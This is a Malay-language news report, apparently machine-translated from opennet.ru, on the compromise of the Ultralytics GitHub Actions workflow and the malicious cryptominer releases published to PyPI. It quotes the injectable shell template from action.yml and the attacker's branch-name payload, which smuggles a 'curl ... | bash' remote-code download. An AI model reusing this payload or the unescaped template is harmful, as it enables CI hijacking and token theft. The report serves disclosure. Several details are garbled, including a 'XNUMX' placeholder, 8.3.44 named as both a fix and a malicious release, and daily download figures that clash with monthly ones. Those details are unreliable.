Pepijat dalam pengendali Tindakan GitHub membawa kepada penerbitan keluaran Ultralytics yang berniat jahat

Penyerang dapat melaksanakan kod dengan hak pengendali GitHub Actions dalam repositori perpustakaan Ultralytics Python, yang digunakan untuk menyelesaikan masalah penglihatan komputer seperti mengesan objek dalam imej dan membahagikan imej. Selepas mendapat akses kepada repositori, penyerang menerbitkan beberapa keluaran Ultralytics baharu dalam direktori PyPI, yang termasuk perubahan berniat jahat untuk perlombongan mata wang kripto. Sepanjang bulan lalu, perpustakaan Ultralytics telah dimuat turun daripada katalog PyPI lebih daripada 6.4 juta kali.

Untuk menjejaskan repositori, kerentanan telah digunakan dalam pakej ultralytics-actions, yang digunakan untuk melancarkan pengendali secara automatik apabila tindakan tertentu dilakukan pada repositori pada GitHub menggunakan mekanisme Tindakan GitHub. Dalam projek ultralytics, pengendali yang terdedah terikat pada acara pull_request_target dan dipanggil apabila permintaan tarik baharu tiba. Khususnya, untuk memformatkan kod dalam permintaan tarik yang dihantar, pengendali format.yml telah dipanggil dan kod yang dinyatakan dalam bahagian "run" pada fail action.yml telah dilaksanakan, yang mengandungi arahan shell dengan corak penggantian: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Oleh itu, nama cawangan Git yang disebut dalam permintaan tarik telah digantikan ke dalam arahan shell tanpa melarikan diri dengan betul. Perlu diperhatikan bahawa pada bulan Ogos, pakej ultralytics-actions telah menetapkan kelemahan serupa yang dikaitkan dengan penggunaan nilai luaran dalam fungsi gema: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Untuk mengatur pelaksanaan kod mereka dalam konteks pengendali Tindakan GitHub, penyerang menghantar permintaan tarik ke repositori ultralytics, menyatakan yang berikut sebagai nama cawangan: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Sehubungan itu, apabila permintaan tarik diterima, rentetan “$(…)” yang ditentukan oleh penyerang telah dimasukkan ke dalam kod, yang, apabila pengendali dilancarkan kemudiannya, membawa kepada pelaksanaan kod “curl -sSfL raw.githubusercontent. com/…/file.sh | bash".

Pepijat dalam pengendali Tindakan GitHub membawa kepada penerbitan keluaran Ultralytics yang berniat jahat

Kod berjalan dalam konteks Tindakan GitHub boleh digunakan untuk menangkap token akses repositori dan data sensitif lain. Bagaimana sebenarnya penyerang berjaya menjana keluaran, mempunyai keupayaan untuk melaksanakan kod mereka dalam Tindakan GitHub, masih belum jelas bahawa ini menjadi mungkin disebabkan oleh perubahan dalam pengendali publish.yml (penyerang mengalih keluar pengesahan bagi; akaun yang dibenarkan untuk menerbitkan keluaran dalam PyPI) dan penggunaan teknologi meracuni cache binaan Tindakan GitHub untuk memasukkan data anda ke dalam keluaran.

Keluaran berniat jahat pertama Ultralytics 8.3.41 telah diterbitkan oleh penyerang di PyPI pada 4 Disember jam 23:51 PM (MSK) dan dialih keluar pada jam 12:15 PM keesokan harinya. Pada jam 15:47 PM, satu lagi keluaran, 8.3.42, telah disiarkan dan dialih keluar pada jam 16:47 PM. Oleh itu, versi berniat jahat tersebut tersedia untuk dimuat turun selama kira-kira 13 jam (PyPI merekodkan kira-kira 250 muat turun pustaka ultralytics setiap hari). Keluaran 8.3.41 dan 8.3.42 mengandungi kod yang dimuat turun daripada perisian luaran. pelayan Komponen XMRig untuk perlombongan mata wang kripto.

Pembangun projek membetulkan masalah dan mencipta keluaran pembetulan 8.3.43 dan 8.3.44, tetapi dua hari kemudian serangan lain dilakukan, di mana penyerang menerbitkan dua keluaran berniat jahat tambahan hari ini pada 04:41 dan 05:27 (MSK) - 8.3.45. 8.3.46 dan 8.3.44, yang termasuk kod perlombongan lain. Sehingga akhir penyiasatan, pengguna dinasihatkan untuk menangguhkan pemasangan versi baharu dan membetulkan keluaran XNUMX sebagai kebergantungan.

Sumber: opennet.ru

Beli pengehosan yang boleh dipercayai untuk tapak dengan perlindungan DDoS, pelayan VPS VDS 🔥 Beli pengehosan laman web yang boleh dipercayai dengan perlindungan DDoS, pelayan VPS VDS | ProHoster